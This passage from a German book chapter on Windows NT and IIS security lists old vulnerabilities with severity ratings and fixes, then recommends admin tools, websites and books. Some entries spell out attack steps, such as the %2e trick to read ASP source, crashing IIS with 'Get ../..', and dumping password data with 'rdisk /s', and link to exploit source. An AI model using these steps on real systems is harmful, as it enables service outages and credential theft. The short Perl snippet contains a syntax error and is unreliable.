Code ist jedoch auch im Internet zu bekommen. Derzeit gibt es keine Abhilfe, außer /wwwroot nicht für
andere freizugeben.
Schwachstelle IIS ASP URL
IIS Version 2.0+ unter Windows NT 4.0
Auswirkungen: Entfernte Benutzer können ASP-Quellcode ansehen.
Einstufung: ernst
Abhilfe: ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes- postsp2/iis-fix/
Beigetragen von: Weld Pond von L0pht
Beschreibung: ASP-Quellcode kann von einem entfernten Rechner aus untersucht werden. Die Technik
ist unkompliziert und erfordert keine speziellen Programmierkenntnisse. Der Cracker nimmt die
gewünschte URL, ersetzt den letzten Punkt durch die Zeichen %2e und lädt neu. Das System liefert dann
den Quellcode.
Schwachstelle WEBHITS.EXE
IIS Version 3.0 (unter Windows NT 4.0)
Auswirkungen: Entfernte Benutzer können IIS verwenden, um nach Schwachstellen zu suchen.
Einstufung: ernst
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (23 von 39) [19.04.2000 21:14:59]
Abhilfe: WEBHITS.EXE löschen oder in ein anderes Verzeichnis als das vorgegebene verschieben
Beigetragen von: Andrew Smith
Beschreibung: WEBHITS.EXE ist ein Bestandteil der IIS-Suchmaschine unter dem Index Server.
Entfernte Benutzer können dieses Modul verwenden, um Paßwörter, Benutzernamen und andere
sicherheitsrelevante Dinge in Erfahrung zu bringen.
Schwachstelle Lange Dateinamen
IIS Version 4.0
Auswirkungen: Auf geschützte Dateien kann von entfernten Rechnern zugegriffen werden.
Einstufung: ernst
Abhilfe: ftp://ftp.microsoft.com/bussys/IIS/iis-public/fixes/usa/security/sfn-fix
Beigetragen von: Greg Skafte
Beschreibung: Wenn ein Dateiname lang ist und Windows ihn im Befehlszeilenmodus kürzt (z.B.
filena~1.com statt filename.com), kann die verkürzte Version von entfernten Rechnern aus aufgerufen
werden, obwohl der vollständige Dateiname geschützt bleibt.
Schwachstelle NEWDSN.EXE
IIS Version 3.0 (unter Windows NT 4.0)
Auswirkungen: Entfernte Benutzer können beliebige Dateien erzeugen.
Einstufung: mittel
Abhilfe: NEWDSN.EXE löschen oder in ein anderes Verzeichnis als das vorgegebene verschieben
Beigetragen von: Vytis Fedaravicius
Beschreibung: Dies ist ein ziemlich schwer auszunutzender Bug, da er sich nicht auf allen Rechnern
gleich auswirkt. Aber ist die Vorstellung nicht schrecklich, daß Anwender eine BAT-Datei erzeugen
könnten, die alle wichtigen Systemdateien löscht?
Schwachstelle GET
IIS Version 2.0 (unter Windows NT 4.0)
Auswirkungen: Entfernte Benutzer können Ihren Server zum Absturz bringen und einen Reboot
erzwingen.
Einstufung: mittel - Denial-of-Service
Abhilfe: ftp://ftp.microsoft.com/ oder SP2
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (24 von 39) [19.04.2000 21:14:59]
Beigetragen von: unbekannt
Beschreibung: Nicht gepatchte Server, auf denen IIS 2.0 unter Windows NT 4.0 läuft, können aus dem
Netz geworfen werden. Die Methode ist einfach: Cracker stellen eine Telnet- Verbindung zu Port 80 her
und geben Get ../.. ein. Das Ergebnis? Der Rechner muß neu gebootet werden. (Dieser Angriff bringt
auch Microsoft-Proxy-Server zum Absturz, was noch viel kritischer ist.)
Schwachstelle CPU-Überlastung
IIS Version 2.0 (unter Windows NT 4.0)
Auswirkungen: Entfernte Benutzer können Ihren Server zum Absturz bringen und einen Reboot
erzwingen.
Einstufung: mittel - Denial-of-Service
Abhilfe: unbekannt
Beigetragen von: Max Newbould
Beschreibung: Cracker verbinden sich mit Ihrem Web-Server und geben viele beliebige Befehle ein.
Nach ca. 20 Befehlen rast die Systemauslastung auf 100%, wodurch ein Neustart erforderlich wird.
Wenden Sie sich an Microsoft oder suchen Sie unter ftp:// ftp.microsoft.com/ nach aktuellen Patches.
Schwachstelle Lange URLs
IIS Version 2.0 (unter Windows NT 4.0)
Auswirkungen: Entfernte Benutzer können Ihren Server zum Absturz bringen.
Einstufung: mittel - Denial-of-Service
Abhilfe: ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes- postSP3/iis-fix
Beigetragen von: Todd Fast
Beschreibung: Indem sie eine extrem lange Zeichenkette als URL senden, können Cracker Ihren
Web-Server zum Absturz bringen und Sie zwingen, den Service neu zu starten. Diese Schwachstelle ist
nicht leicht reproduzierbar. Die erforderliche Länge liegt zwischen 4-10 Kbyte und variiert je nach
Release.
Wenn Sie alle Service-Packs installieren und die hier beschriebenen Sicherheitslücken patchen, wird Ihr
IIS-Server schon etwas sicherer sein.
17.4.8 Allgemeine Sicherheitslücken in Windows NT
Sequenznummer-Attacken
NT-Version: alle Versionen
Auswirkungen: Entfernte Benutzer können sich Admin-Privilegien aneignen.
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (25 von 39) [19.04.2000 21:15:00]
Einstufung: ernst bis kritisch
Abhilfe: keine, wenden Sie sich an Microsoft
Weitere Informationen: http://www.engarde.com/software/seqnumsrc.c
Beigetragen von: Bill Stout
Beschreibung: Sitzungen können übernommen werden, indem die TCP-Sequenznummer erraten wird.
(Das ist eigentlich ein Spoofing-Problem. Es betrifft viele Netzdienste, darunter RPC, Netbios und
SMB-Verbindungen.) Unter dem Link finden Sie den Quellcode, um den Exploit zu kopieren. Weitere
Informationen finden Sie hier:
http://www.rito.com/nt/ntsec/default.htm.
Schwachstelle GetAdmin
NT-Version: alle Versionen
Auswirkungen: Lokale Benutzer können sich Admin-Privilegien aneignen.
Einstufung: kritisch
Abhilfe: ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes- postSP3/getadmin-fix
Weitere Informationen: http://www.ntsecurity.net/security/getadmin.htm
Beigetragen von: David LeBlanc, Thomas Lopatic und anderen
Beschreibung: GETADMIN.EXE ist ein Utility, das von lokalen Benutzern verwendet werden kann, um
sich Admin-Privilegien anzueignen. Dies ist eine kritische Sicherheitslücke.
Schwachstelle Windows NT Backup
NT-Version: alle Versionen
Auswirkungen: Paßwörter in Backups können die Systemsicherheit gefährden.
Einstufung: ernst
Abhilfe: Verschlüsseln Sie Ihre Backups.
Beigetragen von: Paul Ashton
Beschreibung: Jeder, der ein Backup-Band mit Paßwörtern besitzt, kann dieses benutzen, um sich auf
Ihrem Server und vielleicht auch anderen Windows-NT-Servern zu authentifizieren.
Schwachstelle NBTSTAT
Windows-NT-Version: alle Versionen und auch Windows 95
Auswirkungen: Entfernte Benutzer können Zugriff auf freigegebene Verzeichnisse erlangen.
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (26 von 39) [19.04.2000 21:15:00]
Einstufung: ernst
Abhilfe: Schützen Sie Ihre Verzeichnisse durch Paßwörter.
Beigetragen von: Chris Williams
Beschreibung: Der Angreifer muß nur das Ziel zu seiner lmhosts-Datei hinzufügen und eine
NETBIOS-Sitzung starten. Dann kann er beginnen, die Verzeichnisse durchzugehen. Dies ist eine ernste
Schwachstelle. Momentan scheint es außer dem Paßwortschutz keine andere Möglichkeit zu geben, sich
davor zu schützen.
17.4.9 Weitere Schwachstellen mit geringerer Bedeutung
Windows NT hat noch weitere Schwachstellen, die vielleicht nicht kritisch, aber dennoch ernst zu
nehmen sind. Sie sind in Tabelle 17.3 aufgelistet, zusammen mit den URLs, unter denen Sie mehr
darüber erfahren können:
Tabelle 17.3: Weitere Schwachstellen von Windows NT
Schwachstelle Beschreibung und URL
Out of Band (OOB) OOB-Attacken sind die schlimme Form von Denial-of-Service-Attacken. Viele
Plattformen sind für OOB-Attacken anfällig, einschließlich Windows NT und 95.
Die Abhilfe finden Sie hier: ftp://ftp.microsoft.com/bussys/winnt/winnt-
public/fixes/usa/NT351/hotfixes-postSP5/oob-fix/
Port 1031 Wenn ein Cracker eine Telnet-Verbindung zu Port 1031 Ihres Servers herstellt
und Müll sendet, wird dies Ihren Server aus dem Netz werfen. Das ist eine
Ausnutzung einer Sicherheitslükke in der Datei INETINFO.EXE. Suchen Sie bei
Microsoft nach aktuellen Patches.
NTCrash Ein wirkungsvolles Denial-of-Service-Utility mit Namen NTCrash zwingt einen
NT-Server in die Knie. Den Quellcode finden Sie hier:
http://world.std.com/~loki/security/nt-exploits/ntcrash.zip. Zur Zeit ist mir keine
Abhilfe bekannt. Testen Sie es einfach und sehen Sie, was passiert.
DOC-Dateien Dies ist eine ganz bizarre Sicherheitslücke. Dateien mit der Erweiterung *.DOC
können ausgeführt werden, auch wenn sie gar keine richtigen DOC-Dateien sind.
Wenn ein Cracker ein Programm namens DESTROY_SERVER.EXE schreibt
und es in DESTROY_SERVER.DOC umbenennt, ist es ausführbar.
Offensichtlich funktioniert dies nur, wenn die Datei von der Befehlszeile aus
aufgerufen wird, was Sie wahrscheinlich nie tun würden. Der Angreifer könnte
diesen Aufruf jedoch auch in einer Batch-Datei verbergen.
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (27 von 39) [19.04.2000 21:15:00]
17.4.10 Interne Sicherheit von Windows NT
Der Großteil dieses Kapitels beschäftigt sich mit Remote-Sicherheit, wobei die Angreifer aus fremden
Netzwerken kommen. Leider gehen Angriffe aber nicht immer nur von fremden Netzwerken aus.
Manchmal greifen auch Ihre eigenen Benutzer Ihren Server an. Damit befaßt sich das folgende Kapitel.
Interne Sicherheit im allgemeinen
Im allgemeinen hat Windows NT nur eine leidliche interne Sicherheit zu bieten. Dies ist
grundverschieden zu seiner externen Sicherheit, die meines Erachtens sehr gut ist (wenn Sie immer die
neuesten Patches installieren). Sie sollten wenigstens NTFS verwenden. Wenn Sie das nicht tun, besteht
überhaupt keine Hoffnung, Ihre Rechner zu schützen. Denn es gibt einfach zu viele Dinge, die lokale
Benutzer machen können, und zu viele Dateien und Dienste, die sie benutzen können.
Einige Systemadministratoren behaupten, daß sie NTFS nicht brauchen. Sie meinen, daß sie durch eine
sorgfältige Administration und die Kontrolle der Personen, die Zugang zu Ihren Rechnern bekommen,
mehr oder weniger auf der sicheren Seite sind. Das sind leider Wunschvorstellungen.
Das RDISK-Sicherheitsloch
Ein ausgezeichnetes Beispiel ist das RDISK-Sicherheitsloch. RDISK ist ein Windows-NT- Utility, mit
dem Sie Rettungsdisketten für den Notfall erstellen können. Das ist ein wertvolles Hilfsprogramm für
einen Systemadministrator; wenn es jedoch der falschen Person in die Hände gerät, stellt RDISK ein
riesiges Sicherheitsloch dar. Ein Benutzer kann RDISK anweisen, von allen Sicherheitsinformationen
(einschließlich Paßwörtern und Registry- Informationen) im Verzeichnis C:\WINNT\REPAIR einen
Dump anzulegen. Von dort aus kann der Angreifer einen Paßwort-Cracker laden. Innerhalb von Stunden
ist der gesamte Rechner bloßgelegt. Möchten Sie es einmal selbst ausprobieren? Dann geben Sie an
einem Prompt folgenden Befehl ein: rdisk /s.
Gehen Sie dann ins Verzeichnis C:\WINNT\REPAIR. Dort finden Sie alle Informationen, die Sie zum
Knacken des Rechners benötigen.
17.4.11 Eine gute interne Sicherheit aufbauen
Der Aufbau einer guten internen Sicherheit ist nie zu Ende. Es gibt keine Liste mit Tools, die Sie
installieren können, um Ihren Rechner für alle Zeiten zu schützen. Es tauchen immer wieder neue
Sicherheitslöcher auf. Und obwohl Microsoft wirklich viel getan hat, um die Sicherheit von NT zu
verbessern, ist das ständige Streben nach Benutzerfreundlichkeit ihrer Produkte für die Bemühungen um
ernsthafte Sicherheit eher hinderlich.
Ein amüsantes Beispiel dafür wurde durch Vacuum von Rhino9 (einer bekannten Hacker- Gruppe)
beschrieben, der die Beobachtung machte, daß der Versuch der Beschränkung des Benutzerzugangs zu
der Systemsteuerung ein erfolgloses Unterfangen ist. Er schrieb:
Wenn Sie über Start/Einstellungen/Systemsteuerung oder das Arbeitsplatz-Icon keinen
Zugang zur Systemsteuerung haben, klicken Sie auf Start/Hilfe/Index. Alle normalerweise
angezeigten Icons sind als Hilfethemen aufgeführt. Wenn Sie z.B. auf »Netzwerk« klicken,
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (28 von 39) [19.04.2000 21:15:00]
erscheint ein Windows-NT-Hilfefenster mit einer netten kleinen Abkürzung, über die Sie zu
den Netzwerkeinstellungen der Systemsteuerung gelangen.
Dieses Problem klingt simpel und nicht sehr bedrohlich. Es trifft aber für die meisten Systemressourcen
und sogar Administrationswerkzeuge zu. (Microsoft wird dies wahrscheinlich auch nie ändern. Ihre
Verteidigung würde wahrscheinlich so lauten: Es erhöht die Benutzerfreundlichkeit, zu jedem
Programm, das in der Online-Hilfe behandelt wird, eine direkte Verknüpfung anzubieten.)
Sie sollten wenigstens Protokollierungs-Utilities und einen Sniffer installieren. Ich empfehle Ihnen
außerdem, eine umfassende Liste aller Anwendungen oder Ressourcen zu erstellen, die keine
Protokollierungsmöglichkeiten haben. Wenn diese Anwendungen oder Ressourcen auch nicht mit Hilfe
anderer Anwendungen protokolliert werden können, empfehle ich Ihnen, sie zu löschen oder wenigstens
von ihren vorgegebenen Verzeichnissen in andere zu verschieben.
17.4.12 Ein Tip für die Einrichtung eines NT-Servers von Grund auf
Um einen möglichst sicheren Windows-NT-Server einzurichten, müssen Sie schon bei der Installation
alles richtig machen. Wenn Sie Windows NT bereits mit FAT installiert haben, kommt dies natürlich
etwas spät für Sie. Ich würde Ihnen dann zu einer Neuinstallation raten. Um festzustellen, ob Sie eine
Neuinstallation vornehmen sollten, sollten Sie Ihren ursprünglichen Installationsvorgang mit den
typischen Vorbereitungen für ein C2-System vergleichen. Dazu empfehle ich Ihnen, sich den Secure
Windows NT Installation and Configuration Guide der Navy herunterzuladen. Dieses Dokument enthält
die umfassendste Anleitung für eine sichere Installation, die derzeit in gedruckter Fassung verfügbar ist.
Sie finden sie hier:
http://infosec.nosc.mil/TEXT/COMPUSEC/navynt.zip (Word)
http://infosec.nosc.mil/TEXT/COMPUSEC/navynt.pdf (PDF)
Die Anleitung führt Sie durch die Konfiguration des Dateisystems, Audit-Policy, Registry,
Benutzerverwaltung, Benutzerkonten-Policy, Benutzerrechte, Vertrauensbeziehungen, System-Policy
und die Systemsteuerung. Mit Hilfe der gut erläuterten Schritt-für-Schritt- Anleitung lernen Sie
Windows-NT-Sicherheit praktisch nebenbei. Obwohl es nur 185 Seiten umfaßt, ist das Navy-Dokument
mehr wert als 10 oder gar 100 Bücher wie dieses. Wenn Sie diese Anleitung befolgt haben, sind Sie bei
der Einrichtung eines sicheren Servers schon sehr viel weiter gekommen.
17.4.13 Tools
Wenn Sie Ihren Server eingerichtet haben, können Sie sich verschiedene unverzichtbare Tools besorgen,
mit denen Sie seine Sicherheit verbessern können. Kein Windows-NT- Administrator sollte je ohne diese
Tools angetroffen werden.
Administrator Assistant Tool Kit 2.0
Das Administrator Assistant Tool Kit 2.0 ist eine Programmsammlung, die Utilities für die Organisation
der Systemadministration von Windows-NT-Rechnern enthält.
Midwestern Commerce, Inc. (Ntsecurity.com)
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (29 von 39) [19.04.2000 21:15:00]
1601 West Fifth Avenue Suite 207
Columbus, OH 43212
Tel. 001-614-336-9223
E-Mail: Services@box.omna.com URL: http://www.ntsecurity.com/
FileAdmin
FileAdmin ist ein fortgeschrittenes Tool zur Handhabung von Dateiberechtigungen in großen
Netzwerken. Dieses Utility kann Ihnen viele Stunden Arbeit ersparen.
Midwestern Commerce, Inc. (Ntsecurity.com)
1601 West Fifth Avenue Suite 207
Columbus, OH 43212
Tel. 001-614-336-9223
E-Mail: Services@box.omna.com
URL: http://www.ntsecurity.com/
Kane Security Analyst
Kane Security Analyst ermöglicht eine Echtzeit-Erkennung von Eindringlingen in Windows NT. Dieses
Utility erkennt und meldet Sicherheitsverletzungen und ist sehr flexibel konfigurierbar.
Intrusion Detection, Inc.
217 East 86th Suite 213
New York, NY 10028
Tel. 001-212-348-8900
E-Mail: info@intrusion.com
URL: http://www.intrusion.com/
NetXRay Analyzer
NetXRay Analyzer ist ein wirkungsvoller Protokoll-Analyzer (Sniffer) und ein
Netzwerküberwachungs-Tool für Windows NT. Er ist wahrscheinlich der umfangreichste verfügbare
Sniffer für Windows NT. (Kurios ist, daß dieses Produkt selbst ein kleines Sicherheitsloch hat. David
LeBlanc entdeckte, daß Version 2.6 einen Puffer-Überlauf hat.)
Cinco Networks, Inc.
6601 Koll Center Parkway Suite 140
Pleasanton, CA 94566
Tel. 001-510-426-1770
E-Mail: marketing@ngc.com
URL: http://www.cinco.com/
NT Crack
NT Crack ist ein Tool, das Windows-NT-Paßwörter prüft. Es ist das NT-Äquivalent zu Crack für Unix.
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (30 von 39) [19.04.2000 21:15:00]
Secure Networks, Inc.
Suite 330 1201 5th Street S.W
Calgary, Alberta Canada T2R-0Y6
Tel. 001-403-262-9211
E-Mail: jwilkins@secnet.com
URL: http://www.secnet.com/
NT Locksmith
NT Locksmith ermöglicht den Zugriff auf einen Windows-NT-Rechner ohne Paßwort. Es ist ein
Rettungs-Utility, das Ihnen ermöglicht, ein neues Admin-Paßwort festzulegen.
Winternals Software LLC
P.O. Box 49062
Austin, TX 78705
Fax: 001-512-427-5869
E-Mail: info@winternals.com
URL: http://www.winternals.com/
NTFSDOS Tools
NTFSDOS Tools ermöglicht es Ihnen, von einer DOS-Diskette aus Kopier- und Rename-
Berechtigungen für Windows NT zu erlangen. Ein großartiges Tool für Notfälle (z.B. wenn Sie das
Admin-Paßwort verloren haben. Hm...).
Winternals Software LLC
P.O. Box 49062
Austin, TX 78705
Fax: 001-512-427-5869
E-Mail: info@winternals.com
URL: http://www.winternals.com/
NTHandle
NTHandle identifiziert offene Prozesse in Windows NT und ermöglicht Ihnen so, ein Auge auf Ihre
Anwender zu haben.
NT Internals - Mark Russinovich
E-Mail: mark@ntinternals.com
URL: http://www.sysinternals.com/
NTRecover
NTRecover ist ein Rettungsprogramm. Es ermöglicht Ihnen, auf tote Windows-NT-Laufwerke über
serielle Schnittstellen zuzugreifen. Nicht schlecht, oder?
Winternals Software LLC
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (31 von 39) [19.04.2000 21:15:00]
P.O. Box 49062
Austin, TX 78705
Fax: 001-512-427-5869
E-Mail: info@winternals.com URL: http://www.winternals.com/
NTUndelete
NTUndelete ermöglicht Ihnen, Dateien, die an einem Prompt oder aus Anwendungen heraus gelöscht
worden sind, zu speichern und später wiederherzustellen.
Winternals Software LLC
P.O. Box 49062
Austin, TX 78705
Fax: 001-512-427-5869
E-Mail: info@winternals.com
URL: http://www.winternals.com/
PC Firewall 1.02
PC Firewall 1.02 ist eine bidirektionale Paketfilter-Sammlung für Windows 95 und Windows NT.
McAfee (Network Associates, Inc.)
2805 Bowers Ave
Santa Clara, CA 95051
Tel. 001-408-988-3832
E-Mail: ordermaster@nai.com
URL: http://www.nai.com/
PWDUMP
PWDUMP erstellt einen Dump (Speicherauszug) von Paßworteinträgen, die in der Registry aufbewahrt
sind.
Jeremy Allison
E-Mail: jra@cygnus.com
URL: ftp://samba.anu.edu.au/pub/samba/pwdump/pwdump.c
RedButton
RedButton ist ein Tool zum Testen von Sicherheitslücken in öffentlich zugänglichen Registries auf
entfernten Rechnern.
Midwestern Commerce, Inc. (Ntsecurity.com)
1601 West Fifth Avenue Suite 207
Columbus, OH 43212
Tel. 001-614-336-9223
E-Mail: Services@box.omna.com
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (32 von 39) [19.04.2000 21:15:00]
URL: http://www.ntsecurity.com/
RegAdmin
RegAdmin ist ein fortgeschrittenes Tool zur Handhabung von Registry-Einträgen in großen Netzwerken.
Es spart sehr viel Zeit.
Midwestern Commerce, Inc. (Ntsecurity.com)
1601 West Fifth Avenue Suite 207
Columbus, OH 43212
Tel. 001-614-336-9223
E-Mail: Services@box.omna.com
URL: http://www.ntsecurity.com/
ScanNT Plus
ScanNT Plus ist ein Wörterbuch-Utility zum Knacken von Paßwörtern. Testen Sie Ihre NT- Paßwörter
damit.
Midwestern Commerce, Inc. (Ntsecurity.com)
1601 West Fifth Avenue Suite 207
Columbus, OH 43212
Tel. 001-614-336-9223
E-Mail: Services@box.omna.com
URL: http://www.ntsecurity.com/
Somarsoft DumpAcl
Somarsoft DumpAcl erstellt Dumps von Berechtigungen für das Windows-NT-Dateisystem in der
Registry, einschließlich Freigaben und Drucker. Es verschafft einen Überblick über Berechtigungen, der
in großen Netzwerken normalerweise schwer zu erlangen ist.
Somarsoft, Inc.
P.O. Box 642278
San Francisco, CA 94164-2278
Tel. 001-415-776-7315
E-Mail: info@somarsoft.com URL: http://www.somarsoft.com/
Somarsoft DumpEvt
Somarsoft DumpEvt erzeugt Dumps von Ereignisprotokollinformationen, die zur Analyse in eine
Datenbank importiert werden können.
Somarsoft, Inc.
P.O. Box 642278
San Francisco, CA 94164-2278
Tel. 001-415-776-7315
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (33 von 39) [19.04.2000 21:15:00]
E-Mail: info@somarsoft.com
URL: http://www.somarsoft.com/
Somarsoft DumpReg
Somarsoft DumpReg erstellt Dumps von Registry-Informationen zur Analyse. Es ermöglicht außerdem
eine gute Suche und einen Abgleich von Schlüsseln.
Somarsoft, Inc.
P.O. Box 642278
San Francisco, CA 94164-2278
Tel. 001-415-776-7315
E-Mail: info@somarsoft.com
URL: http://www.somarsoft.com/
Somarsoft RegEdit
Somarsoft RegEdit ist ein vollständiges Programm zum Editieren und Handhaben der Registry, das Basic
unterstützt. (Es ist sozusagen die gedopte Version von RegEdit.)
Somarsoft, Inc.
P.O. Box 642278
San Francisco, CA 94164-2278
Tel. 001-415-776-7315
E-Mail: info@somarsoft.com
URL: http://www.somarsoft.com/
Virtuosity
Virtuosity ist ein umfassendes Verwaltungs- und Umstellungs-Tool. (Gut für große Umstrukturierungen.)
Midwestern Commerce, Inc. (Ntsecurity.com)
1601 West Fifth Avenue Suite 207
Columbus, OH 43212
Tel. 001-614-336-9223
E-Mail: Services@box.omna.com
URL: http://www.ntsecurity.com/
17.4.14 Gute Online-Informationsquellen
Im nächsten Abschnitt finden Sie viele gute Links zu Windows-NT-Informationen. Die meisten von
ihnen werden ständig aktualisiert.
Das FTP-Archiv der Mailing-Liste zu Windows-NT-Sicherheit
Dies ist ein Archiv aller in der Mailing-Liste zu Windows-NT-Sicherheit geposteten Beiträge. Das
Archiv reicht bis zum Juli 1996 zurück und enthält Beiträge von Windows-NT- Sicherheitsexperten und
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (34 von 39) [19.04.2000 21:15:00]
-Enthusiasten. Ich empfehle Ihnen, sich die gesamten Dateien herunterzuladen.
Informationen aus der Dateiliste zu ziehen kann ziemlich mühselig sein, da sie als reine Textdatei
vorliegt. Das ist eine gute Aufgabe für Perl. Sie können mit ein paar Zeilen Code die ganzen
Betreffzeilen aus dem Text ziehen:
#!/usr/bin/perl
if(/^Subject: (.*)) {
print;
}
Wenn Sie die Betreffzeilen haben, haben Sie schon einen besseren Überblick. Noch mehr Licht bringen
Sie in die Sache, wenn Sie alle mit RE: beginnenden Betreffzeilen unterdrükken. Im allgemeinen suchen
Sie ja nach dem ersten Beitrag, da dieser meistens ein durch den Autor neu entdecktes Sicherheitsloch
beschreibt. Solche Beiträge stammen häufig von Leuten, die routinemäßig Sicherheitslücken von
Betriebssystemen aufdecken. Viele von ihnen sind Autoritäten auf bestimmten Gebieten der
Windows-NT-Sicherheit (z.B. Leute wie David LeBlanc und Russ Cooper). Alles in allem ist diese Liste
wirklich gut.
ftp://ftp.iss.net/pub/lists/ntsecurity-digest.archive/
AlphaNT
Diese Site beherbergt Tools, Dokumente und andere Informationen über Windows NT auf der DEC
Alpha-Plattform. Dieses Dateiarchiv ist eine gewaltige Sammlung von Utilities und Programmen für
alles mögliche, von der Sicherheit bis hin zur Entwicklung.
http://dutlbcz.lr.tudelft.nl/alphant/
Windows NT Security FAQ
Dieses Dokument mit häufig gestellten Fragen zur Windows-NT-Sicherheit ist ein absolutes Muß, wenn
Sie ein Neuling auf diesem Gebiet sind. Ich gehe jede Wette mit Ihnen ein, daß mehr als die Hälfte der
Fragen, die Sie zur NT-Sicherheit haben, in diesem Dokument beantwortet sind.
http://www.it.kth.se/~rom/ntsec.html
NTBugTraq
NTBugTraq ist eine ausgezeichnete Informationsquelle, die von Russ Cooper von RC Consulting betreut
wird. Die Site beinhaltet eine Datenbank mit Windows-NT-Sicherheitslücken und die archivierten und
mit einer Suchfunktion versehenen Versionen der NTBugTraq-Mailingliste.
http://www.ntbugtraq.com/
MS Internet Security Framework FAQ
Dieses Dokument beschäftigt sich mit dem MS Internet Security Framework. Es beantwortet viele
Fragen zu Windows NT, Microsoft-Verschlüsselung und Microsoft-Sicherheit.
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (35 von 39) [19.04.2000 21:15:00]
http://www.ntsecurity.net/security/inetsecframe.htm
NTSECURITY.COM
Diese Site wird von der Aelita Software Group der Midwestern Commerce, Inc., betreut, einer bekannten
Entwicklungsfirma, die unter anderem Sicherheitsapplikationen für Windows NT entwickelt.
http://www.ntsecurity.com/default.htm
Expert Answers for Windows NT
Dies ist ein Forum, in dem fortgeschrittene Windows-NT-Themen diskutiert werden. Es ist eine gute
Adresse, um mögliche Lösungen für sehr undurchschaubare und konfigurationsspezifische Probleme zu
finden. Regelmäßige Teilnehmer posten klare, kurz gehaltene Fragen und Antworten wie: »Ich habe
einen PPRO II mit NT 4.0 und IIS 3, auf dem MS Exchange 5.0 läuft, mit SP3 für NT und SP1 für
Exchange. Warum stürzt mein Mailserver ab?«
http://community.zdnet.com/cgi-bin/podium/show?ROOT=331&MSG=331&T=index
Windows NT Security Issues bei Somarsoft
Das Dokument zu Windows-NT-Sicherheitsthemen bei Somarsoft behandelt fortgeschrittene
Sicherheitslücken im Windows-NT-Betriebssystem. Sie finden es hier:
http://www.somarsoft.com/security.htm
The ISS Vulnerability Database
Die Sicherheitslücken-Datenbank von Internet Security Systems ist eine sehr gute Quelle, um
herauszufinden, ob Ihr Rechner mit allen nötigen Patches versehen ist. Sie finden sie hier:
http://www.iss.net/vd/library.html
Enhanced Security for [Windows] NT 5.0
Dieser Artikel über die verbesserte Sicherheit von Windows NT 5.0 wurde von Michael A. Goulde
geschrieben. Er behandelt interessante Themen und gibt einen kleinen Ausblick darauf, was bei Version
5.0 zu erwarten ist.
http://www.microsoft.com/ntserver/community/seybold.asp?A=7&B=4
Association of Windows NT Systems Professionals
Dies ist eine Gruppe, die Informationen über fortgeschrittene Windows-NT-Themen, Sicherheit und
Entwicklung austauscht. Sie besteht seit 1993.
http://www.ntpro.org/ntpro.html
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (36 von 39) [19.04.2000 21:15:00]
Windows NT Magazine Online
Sie denken wahrscheinlich, daß kommerzielle Magazine keine gute Quelle für Sicherheitsinformationen
sind. Bei dieser Site ist das zum Glück anders. Sie finden hier einige wertvolle Artikel und Editorials.
http://www.winntmag.com/
Defense Information Infrastructure Common Operating Environment
(DII COE), Version 3.1, Gesammelte Dokumente zu NT 4.0
Es gibt eine Reihe von Dokumenten, die Standards für die Entwicklung und Administration auf der
Windows-NT-Plattform spezifizieren.
http://spider.osfl.disa.mil/cm/dii31/dii31_nt40.html
Securing Windows NT Installation
Dies ist ein unglaublich detailliertes Dokument von Microsoft über die Installation eines sicheren
Windows-NT-Servers. Das Microsoft-Team hat in den letzten Jahren wegen der Sicherheit viel Druck
bekommen, und dieses Dokument ist die Antwort darauf.
http://www.microsoft.com/ntserver/guide/secure_ntinstall.asp?A=2&B=10
Steps for Evaluating the Security of a Windows NT Installation
Ein ausgezeichnetes Dokument von Tom Sheldon, Autor des Windows NT Security Handbook . Es
beschreibt die notwendigen Schritte zur Errichtung eines sicheren Windows-NT- Servers.
http://www.ntresearch.com/ntchecks.htm
Coopers and Lybrand White Paper on NT
Daran müssen Sie sich erinnern - in diesem Dokument attestierten C&L Mitte 1997 die Sicherheit von
Windows NT 4.0. Naja! Obwohl das Dokument etwas voreilig war, ist es immer noch lehrreich (obwohl
man vielleicht mehr darüber erfährt, welche Kriterien C&L für die Sicherheitsprüfung anwenden, als
über NT-Sicherheit an sich).
http://www.microsoft.com/ntserver/guide/cooperswp.asp?A=2&B=10
Troubleshooting Windows NT
Diesen informativen und recht technischen Artikel zur Systemadministration unter Windows NT finden
Sie auf dieser Seite:
http://www.ntsystems.com/nts110fe.htm
Das NT-Archiv der University of Texas am Austin Computation Center
Diese Site enthält eine breite (und manchmal eklektische) Auswahl an Tools und Fixes für Windows NT.
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (37 von 39) [19.04.2000 21:15:00]
ftp://microlib.cc.utexas.edu/microlib/nt/
17.4.15 Bücher über Windows-NT-Sicherheit
Die folgenden Titel sind verschiedenartige Abhandlungen über Windows-NT-Sicherheit. Wenn Sie
knapp bei Kasse sind, würde ich Ihnen zunächst zum Erwerb des Windows NT Security Handbook raten.
Es ist ein gründliches Buch, das zu den am meisten benutzten Nachschlagewerken von
Windows-NT-Administratoren zählt.
Windows NT Systemadministration. Aeleen Frisch. O'Reilly & Associates, 1998. ISBN: 3897211181.
Internet Security With Windows NT. Mark Joseph Edwards. Duke Communications, 1997. ISBN:
1882419626.
Microsoft Windows NT Network Administration Training. Microsoft Educational Services Staff.
Microsoft Press, 1997. ISBN: 1572314397.
Pcweek Microsoft Windows NT Security: System Administrator's Guide. Nevin Lambert, Manish Patel,
Steve Sutton. Ziff Davis, 1997. ISBN: 1562764578.
Windows NT Administration: Single Systems to Heterogeneous Networks. Marshall Brain, Shay Woodard
und Kelly Campbell. Prentice Hall, 1994. ISBN: 0131766945.
Windows NT Security Guide. Steve A. Sutton. Addison-Wesley Pub Company, 1996. ISBN:
0201419696.
